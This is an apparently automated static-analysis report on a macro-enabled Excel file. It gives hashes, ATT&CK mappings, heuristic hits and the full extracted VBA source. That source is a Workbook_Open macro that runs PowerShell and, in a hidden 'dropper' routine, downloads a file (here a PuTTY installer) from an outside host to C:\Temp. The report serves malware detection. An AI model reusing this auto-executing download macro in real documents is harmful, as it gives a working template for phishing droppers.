Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ebf61ed6833284aa…

MALICIOUS

Office (OOXML)

13.9 KB Created: 2021-06-05 13:17:07 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: a56a61779aefed34b2f650bd9e64650f SHA-1: c30b75067a1f9aed1635de79faf6fe5f630f8be9 SHA-256: ebf61ed6833284aa3a82bf6445a9aadb211d492a0279c612d03a5f009b964c43
190 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.001 Spearphishing Attachment T1204.002 Malicious File

The sample contains a Workbook_Open VBA macro that executes PowerShell commands. The macro attempts to download a file from 'https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.75-installer.msi' and save it to 'C:\Temp\123'. This indicates the document is likely a malicious attachment designed to download and execute a second-stage payload.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus)
    End Sub
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        strProgramName = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
        strArgument = " netstat "
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://google.com� In document text (OOXML body / shared strings)
    • https://google.comIn document text (OOXML body / shared strings)
    • https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.75-installer.msiIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1502 bytes
SHA-256: a0dd49958d184771d708662e2e7c986c75b1edf15f39bbd0bd629f8a063ddc6b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()

ActiveWorkbook.FollowHyperlink Address:="https://google.com"
Call StartExeWithArgument
Call dropper

End Sub

Private Sub StartExeWithArgument()
    Dim strProgramName As String
    Dim strArgument As String

    strProgramName = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    strArgument = " netstat "

    Call Shell("""" & strProgramName & """ """ & strArgument & """", vbNormalFocus)
End Sub

Private Sub dropper()

    Dim strProgramName As String
    Dim strArgument As String

    strProgramName = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    strArgument = " invoke-webrequest -Uri 'https://the.earth.li/~sgtatham/putty/latest/w64/putty-64bit-0.75-installer.msi' -OutFile 'C:\Temp\123' -UseDefaultCredentials"

    Call Shell("""" & strProgramName & """ """ & strArgument & """", vbHide)

End Sub




Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 17408 bytes
SHA-256: 86fc9fb2311295a88cfc6dc73c64c27839431fc4bcae36f9f1000633b1d7bc2d